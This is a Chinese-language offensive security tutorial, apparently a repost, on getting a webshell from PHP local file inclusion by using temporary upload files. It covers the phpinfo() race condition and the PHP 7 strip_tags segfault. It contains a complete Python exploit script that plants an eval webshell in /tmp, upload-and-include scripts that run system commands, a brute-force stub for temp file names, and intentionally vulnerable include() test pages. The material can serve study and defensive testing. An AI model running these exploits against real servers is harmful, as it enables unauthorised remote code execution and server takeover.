PHP LFI 利用臨時文件 Getshell 姿勢

前言

最近整理PHP文件包含漏洞姿勢的時候,發現一些比較好用的姿勢關於本地文件包含漏洞可以利用臨時文件包含惡意代碼拿到Webshell的一些奇技淫巧,於是打算詳細整理一下。

PHP LFI

PHP LFI本地文件包含漏洞主要是包含本地服務器上存儲的一些文件,例如session文件、日誌文件、臨時文件等。但是,只有我們能夠控制包含的文件存儲我們的惡意代碼才能拿到服務器權限。

假如在服務器上找不到我們可以包含的文件,那該怎麼辦,此時可以通過利用一些技巧讓服務存儲我們惡意生成的臨時文件,該臨時文件包含我們構造的的惡意代碼,此時服務器就存在我們可以包含的文件了。

目前,常見的兩種臨時文件包含漏洞利用方法主要是:PHPINFO() and PHP7 Segment Fault,利用這兩種奇技淫巧可以向服務器上傳文件同時在服務器上生成惡意的臨時文件,然後將惡意的臨時文件包含就可以達到任意代碼執行效果也就可以拿到服務器權限進行後續操作。

臨時文件

在瞭解漏洞利用方式的時候,先來了解一下PHP臨時文件的機制

全局變量

在PHP中可以使用POST方法或者PUT方法進行文本和二進制文件的上傳。上傳的文件信息會保存在全局變量$_FILES裏。

$_FILES超級全局變量很特殊,他是預定義超級全局數組中唯一的二維數組。其作用是存儲各種與上傳文件有關的信息,這些信息對於通過PHP腳本上傳到服務器的文件至關重要。

$_FILES['userfile']['name'] 客戶端文件的原名稱。
$_FILES['userfile']['type'] 文件的 MIME 類型,如果瀏覽器提供該信息的支持,例如"image/gif"$_FILES['userfile']['size'] 已上傳文件的大小,單位爲字節。
$_FILES['userfile']['tmp_name'] 文件被上傳後在服務端儲存的臨時文件名,一般是系統默認。可以在php.ini的upload_tmp_dir 指定,默認是/tmp目錄。
$_FILES['userfile']['error'] 該文件上傳的錯誤代碼,上傳成功其值爲0,否則爲錯誤信息。

在臨時文件包含漏洞中$_FILES['userfile']['name']這個變量值的獲取很重要,因爲臨時文件的名字都是由隨機函數生成的,只有知道文件的名字才能正確的去包含它。

存儲目錄

文件被上傳後,默認會被存儲到服務端的默認臨時目錄中,該臨時目錄由php.ini的upload_tmp_dir屬性指定,假如upload_tmp_dir的路徑不可寫,PHP會上傳到系統默認的臨時目錄中。

不同系統服務器常見的臨時文件默認存儲目錄,瞭解系統的默認存儲路徑很重要,因爲在很多時候服務器都是按照默認設置來運行的。

Linux目錄

Linxu系統服務的臨時文件主要存儲在根目錄的tmp文件夾下,具有一定的開放權限

/tmp/

img

Windows目錄

Windows系統服務的臨時文件主要存儲在系統盤Windows文件夾下,具有一定的開放權限

C:/Windows/
C:/Windows/Temp/

命名規則

存儲在服務器上的臨時文件的文件名都是隨機生成的,瞭解不同系統服務器對臨時文件的命名規則很重要,因爲有時候對於臨時文件我們需要去爆破,此時我們必須知道它的命名規則是什麼。

可以通過phpinfo來查看臨時文件的信息。

Linux Temporary File

Linux臨時文件主要存儲在/tmp/目錄下,格式通常是(/tmp/php[6個隨機字符]

img

Windows Temporary File

Windows臨時文件主要存儲在C:/Windows/目錄下,格式通常是(C:/Windows/php[4個隨機字符].tmp

img

PHPINFO特性

通過上面的介紹,服務器上存儲的臨時文件名是隨機的,這就很難獲取其真實的文件名。不過,如果目標網站上存在phpinfo,則可以通過phpinfo來獲取臨時文件名,進而進行包含。

雖說這個漏洞出現的很早(2011年,國外的安全研究人員將這種攻擊手法進行卡了公佈),不過這個技巧確實是個很經典的列子,不會被遺忘的。

測試代碼

index.php

<?php

    $file  = $_GET['file'];
    include($file);

?>

phpinfo.php

<?php phpinfo();?>

漏洞分析

**當我們在給PHP發送POST數據包時,如果數據包裏包含文件區塊,無論你訪問的代碼中有沒有處理文件上傳的邏輯,PHP都會將這個文件保存成一個臨時文件。**文件名可以在$_FILES變量中找到。這個臨時文件,在請求結束後就會被刪除

利用phpinfo的特性可以很好的幫助我們,因爲phpinfo頁面會將當前請求上下文中所有變量(所有數據)都打印出來,所以我們如果向phpinfo頁面發送包含文件區塊的數據包,則即可在返回包裏找到$_FILES變量的內容,拿到 臨時文件變量名 之後,就可以進行包含執行我們傳入的惡意代碼。

漏洞利用

  • 利用條件
PHPINFO的這種特性源於php自身,與php的版本無關

測試腳本

編寫腳本,上傳文件探測是否存在phpinfo包含臨時文件的信息。

import requests

files = {
  'file': ("aa.txt","ssss")
}
url = "http://x.x.x.x/phpinfo.php"
r = requests.post(url=url, files=files, allow_redirects=False)
print(r.text)

運行腳本向服務器發出請求可以看到回顯中有如下內容

Linux

img

Windows

img

利用原理

驗證了phpinfo的特性確實存在,所以在文件包含漏洞找不到可利用的文件時,我們就可以利用這一特性,找到並提取臨時文件名,然後包含之即可Getshell。

但文件包含漏洞和phpinfo頁面通常是兩個頁面,理論上我們需要先發送數據包給phpinfo頁面,然後從返回頁面中匹配出臨時文件名,再將這個文件名發送給文件包含漏洞頁面,進行getshell。但是在第一個請求結束時,臨時文件就被刪除了,第二個請求自然也就無法進行包含。

利用過程

這個時候就需要用到條件競爭,具體原理和過程如下:

(1)發送包含了webshell的上傳數據包給phpinfo頁面,這個數據包的header、get等位置需要塞滿垃圾數據

(2)因爲phpinfo頁面會將所有數據都打印出來,1中的垃圾數據會將整個phpinfo頁面撐得非常大

(3)php默認的輸出緩衝區大小爲4096,可以理解爲php每次返回4096個字節給socket連接

(4)所以,我們直接操作原生socket,每次讀取4096個字節。只要讀取到的字符裏包含臨時文件名,就立即發送第二個數據包

(5)此時,第一個數據包的socket連接實際上還沒結束,因爲php還在繼續每次輸出4096個字節,所以臨時文件此時還沒有刪除

(6)利用這個時間差,第二個數據包,也就是文件包含漏洞的利用,即可成功包含臨時文件,最終getshell

(參考ph牛:https://github.com/vulhub/vulhub/tree/master/php/inclusion

Getshell

利用ph牛的代碼,不用重複的造輪子,直接更改腳本主要的幾個地方就可以成功運行利用,如上傳的惡意文件內容phpinfo.phpindex.php相應文件的文件名和位置、系統臨時文件寫入目錄

exp.py

#!/usr/bin/python
#python version 2.7

import sys
import threading
import socket

def setup(host, port):
    TAG = "Security Test"
    PAYLOAD = """%sr
<?php file_put_contents('/tmp/Qftm', '<?php eval($_REQUEST[Qftm])?>')?>r""" % TAG
    # PAYLOAD = """%sr
    # <?php file_put_contents('/var/www/html/Qftm.php', '<?php eval($_REQUEST[Qftm])?>')?>r""" % TAG
    REQ1_DATA = """-----------------------------7dbff1ded0714r
Content-Disposition: form-data; name="dummyname"; filename="test.txt"r
Content-Type: text/plainr
r
%s
-----------------------------7dbff1ded0714--r""" % PAYLOAD
    padding = "A" * 5000
    REQ1 = """POST /phpinfo.php?a=""" + padding + """ HTTP/1.1r
Cookie: PHPSESSID=q249llvfromc1or39t6tvnun42; othercookie=""" + padding + """r
HTTP_ACCEPT: """ + padding + """r
HTTP_USER_AGENT: """ + padding + """r
HTTP_ACCEPT_LANGUAGE: """ + padding + """r
HTTP_PRAGMA: """ + padding + """r
Content-Type: multipart/form-data; boundary=---------------------------7dbff1ded0714r
Content-Length: %sr
Host: %sr
r
%s""" % (len(REQ1_DATA), host, REQ1_DATA)
    # modify this to suit the LFI script
    LFIREQ = """GET /index.php?file=%s HTTP/1.1r
User-Agent: Mozilla/4.0r
Proxy-Connection: Keep-Aliver
Host: %sr
r
r
"""
    return (REQ1, TAG, LFIREQ)

def phpInfoLFI(host, port, phpinforeq, offset, lfireq, tag):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    s.connect((host, port))
    s2.connect((host, port))

    s.send(phpinforeq)
    d = ""
    while len(d) < offset:
        d += s.recv(offset)
    try:
        i = d.index("[tmp_name] =&gt; ")
        fn = d[i + 17:i + 31]
    except ValueError:
        return None

    s2.send(lfireq % (fn, host))
    d = s2.recv(4096)
    s.close()
    s2.close()

    if d.find(tag) != -1:
        return fn

counter = 0

class ThreadWorker(threading.Thread):
    def __init__(self, e, l, m, *args):
        threading.Thread.__init__(self)
        self.event = e
        self.lock = l
        self.maxattempts = m
        self.args = args

    def run(self):
        global counter
        while not self.event.is_set():
            with self.lock:
                if counter >= self.maxattempts:
                    return
                counter += 1

            try:
                x = phpInfoLFI(*self.args)
                if self.event.is_set():
                    break
                if x:
                    print "nGot it! Shell created in /tmp/Qftm.php"
                    self.event.set()

            except socket.error:
                return

def getOffset(host, port, phpinforeq):
    """Gets offset of tmp_name in the php output"""
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((host, port))
    s.send(phpinforeq)

    d = ""
    while True:
        i = s.recv(4096)
        d += i
        if i == "":
            break
        # detect the final chunk
        if i.endswith("0rnrn"):
            break
    s.close()
    i = d.find("[tmp_name] =&gt; ")
    if i == -1:
        raise ValueError("No php tmp_name in phpinfo output")

    print "found %s at %i" % (d[i:i + 10], i)
    # padded up a bit
    return i + 256

def main():
    print "LFI With PHPInfo()"
    print "-=" * 30

    if len(sys.argv) < 2:
        print "Usage: %s host [port] [threads]" % sys.argv[0]
        sys.exit(1)

    try:
        host = socket.gethostbyname(sys.argv[1])
    except socket.error, e:
        print "Error with hostname %s: %s" % (sys.argv[1], e)
        sys.exit(1)

    port = 80
    try:
        port = int(sys.argv[2])
    except IndexError:
        pass
    except ValueError, e:
        print "Error with port %d: %s" % (sys.argv[2], e)
        sys.exit(1)

    poolsz = 10
    try:
        poolsz = int(sys.argv[3])
    except IndexError:
        pass
    except ValueError, e:
        print "Error with poolsz %d: %s" % (sys.argv[3], e)
        sys.exit(1)

    print "Getting initial offset...",
    reqphp, tag, reqlfi = setup(host, port)
    offset = getOffset(host, port, reqphp)
    sys.stdout.flush()

    maxattempts = 1000
    e = threading.Event()
    l = threading.Lock()

    print "Spawning worker pool (%d)..." % poolsz
    sys.stdout.flush()

    tp = []
    for i in range(0, poolsz):
        tp.append(ThreadWorker(e, l, maxattempts, host, port, reqphp, offset, reqlfi, tag))

    for t in tp:
        t.start()
    try:
        while not e.wait(1):
            if e.is_set():
                break
            with l:
                sys.stdout.write("r% 4d / % 4d" % (counter, maxattempts))
                sys.stdout.flush()
                if counter >= maxattempts:
                    break
        print
        if e.is_set():
            print "Woot!  m/"
        else:
            print ":("
    except KeyboardInterrupt:
        print "nTelling threads to shutdown..."
        e.set()

    print "Shuttin' down..."
    for t in tp:
        t.join()

if __name__ == "__main__":
    main()

運行腳本Getshell

修改腳本之後,運行即可包含生成我們精心設置好的/tmp/Qftm後門文件

img

拿到RCE之後,可以查看tmp下生成的後門文件

http://192.33.6.145/index.php?file=/tmp/Qftm&Qftm=system('ls /tmp/')

img

然後使用後門管理工具連接後門webshell

/tmp/Qftm <?php eval($_REQUEST[Qftm])?>

img

php7 Segment Fault

利用條件

  • 利用條件
7.0.0 <= PHP Version < 7.0.28

漏洞分析

在上面包含姿勢中提到的包含臨時文件,需要知道phpinfo同時還需條件競爭,但如果沒有phpinfo的存在,我們就很難利用上述方法去getshell。

那麼如果目標不存在phpinfo,應該如何處理呢?這裏可以用php7 segment fault特性(CVE-2018-14884)進行Bypass。

php代碼中使用php://filter的strip_tags 過濾器, 可以讓 php 執行的時候直接出現 Segment Fault , 這樣 php 的垃圾回收機制就不會在繼續執行 , 導致 POST 的文件會保存在系統的緩存目錄下不會被清除而不像phpinfo那樣上傳的文件很快就會被刪除,這樣的情況下我們只需要知道其文件名就可以包含我們的惡意代碼。

官方在PHP Version 7.0.28時已經修復該漏洞

http://192.33.6.145/index.php?file=php://filter/string.strip_tags/resource=/etc/passwd

這種 包含 會導致php執行過程中出現segment fault,此時 上傳文件,臨時文件會被保存在upload_tmp_dir所指定的目錄下,不會被刪除,這樣就能達成getshell的目的。

代碼環境

測試代碼

index.php

<?php
    $a = @$_GET['file'];
    include $a;
?>

dir.php

<?php
    $a = @$_GET['dir'];
    var_dump(scandir($a));
?>

測試環境

PHP Version 7.0.9

img

漏洞利用

攻擊載荷

string.strip_tags過濾器導致出現php segment fault

index.php?file=php://filter/string.strip_tags/resource=index.php

img

可以看到上面這種 包含 會導致php執行過程中出現錯誤,此時 上傳文件,臨時文件會被保存在upload_tmp_dir所指定的目錄下,從而不會被刪除,一直存儲在服務器的臨時目錄裏面。

攻擊利用-技巧1

我們可以通過dir.php輔助查找生成的臨時文件

#python version 2.7

import requests
from io import BytesIO
import re

files = {
  'file': BytesIO('<?php eval($_REQUEST[Qftm]);')
}
url1 = 'http://192.168.68.119/index.php?file=php://filter/string.strip_tags/resource=index.php'
r = requests.post(url=url1, files=files, allow_redirects=False)

url2 = 'http://192.168.68.119/dir.php?dir=/tmp/'
r = requests.get(url2)
data = re.search(r"php[a-zA-Z0-9]{1,}", r.content).group(0)

print "++++++++++++++++++++++"
print data
print "++++++++++++++++++++++"

url3='http://192.168.68.119/index.php?file=/tmp/'+data
data = {
'Qftm':"system('whoami');"
}
r =  requests.post(url=url3,data=data)
print r.content

編寫 Windows Exp

windows網絡攻擊環境下的腳本編寫

#python version 2.7

import requests
from io import BytesIO
import re

files = {
  'file': BytesIO('<?php eval($_REQUEST[Qftm]);')
}
url1 = 'http://192.168.68.119/web/fi/index.php?file=php://filter/string.strip_tags/resource=index.php'
r = requests.post(url=url1, files=files, allow_redirects=False)

url2 = 'http://192.168.68.119/web/fi/dir.php?dir=C:/Windows/'
r = requests.get(url2)
data = re.search(r"php[a-zA-Z0-9]{1,}", r.content).group(0)

print "++++++++++++++++++++++"
print data
print "++++++++++++++++++++++"

url3='http://192.168.68.119/web/fi/index.php?file=C:/Windows/'+data+'.tmp'
data = {
'Qftm':"system('whoami');"
}
r =  requests.post(url=url3,data=data)
print r.content

系統EXP利用

針對不同的系統環境運行腳本就可以RCE拿到任意代碼執行

img

然後查看服務器上惡意臨時文件,確實存在未被刪除!!

http://192.168.68.119/web/fi/dir.php?file=C:/Windows/

img

Getshell

由於我們上傳的惡意臨時文件沒有被刪除,那麼就可以使用Webshell管理工具蟻劍對php2EFF.tmp進行包含利用

C:/Windows/php2EF.tmp  <?php eval($_REQUEST[Qftm])?>

img

攻擊利用-技巧2

暴力破解

假如沒有dir.php還能利用嗎,答案是可以的,因爲我們傳入的惡意文件沒有被刪除,這樣我們就可以爆破這個文件的文件名。

在上面的講述中,我們知道不同的系統默認的臨時文件存儲路徑和方式都不一樣

  • Linux

Linux臨時文件主要存儲在/tmp/目錄下,格式通常是(/tmp/php[6個隨機字符]

  • windows

Windows臨時文件主要存儲在C:/Windows/目錄下,格式通常是(C:/Windows/php[4個隨機字符].tmp

對比Linux和Windows來看,Windows需要破解的位數比Linux少,從而Windows會比Linux破解速度快,位數越長所需要耗費的時間就越大。

攻擊載荷

編寫臨時文件生成和暴力破解攻擊載荷

#python version 2.7

import requests
from io import BytesIO

files = {
  'file': BytesIO('<?php eval($_REQUEST[Qftm]);')
}
url1 = 'http://192.168.68.119/web/fi/index.php?file=php://filter/string.strip_tags/resource=index.php'
r = requests.post(url=url1, files=files, allow_redirects=False)

########################暴力破解模塊########################
url2='http://192.168.68.119/web/fi/index.php?file=C:/Windows/php'+{fuzz}+'.tmp&Qftm=system('whoami');'
data = fuzz
print "++++++++++++++++++++++"
print data
print "++++++++++++++++++++++"
########################暴力破解模塊########################

對於暴力破解模塊,可以自己添加多線程模塊進行暴力破解,也可以將暴力破解模塊拿出來單獨進行fuzz,或者比較常用的做法就是將一些fuzz工具的模塊拿出來添加到裏面稍微改一下接口就可以直接使用

推薦使用fuzz工具直接進行fuzz測試,fuzz工具一般都包含多線程、自定義字典等,使用起來很方便,不用花費時間去編寫調試代碼。

個人比較喜歡使用Fuzz大法,不管是目錄掃描、後臺掃描、Web漏洞模糊測試都是非常靈活的。

推薦幾款好用的Fuzz工具

個人比較喜歡使用Fuzz大法,不管是目錄掃描、後臺掃描、Web漏洞模糊測試都是非常靈活的。

推薦幾款好用的Fuzz工具

基於Go開發:gobuster     https://github.com/OJ/gobuster
基於Java開發:dirbuster  OWASP傑出工具 kali自帶
基於Python開發:wfuzz    https://github.com/xmendez/wfuzz

fuzz測試,配置參數,我這裏使用的是Kali自帶的 dirbuster進行模糊測試

img

(當然也可以自己用burpsuite進行爆破)

參數設置好之後,開始進行fuzz測試

img

經過一段時間的破解,即可得到上傳的臨時文件的文件名,同時可以在響應包中看到後門文件的惡意代碼也正常解析執行。

Getshell

拿到我們上傳的惡意臨時文件的文件名之後就可以進行包含利用,同樣,我們上傳的惡意臨時文件沒有被刪除,使用Webshell管理工具對php2EFF.tmp後門文件進行包含利用。

img

原文地址:https://www.anquanke.com/post/id/201136

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章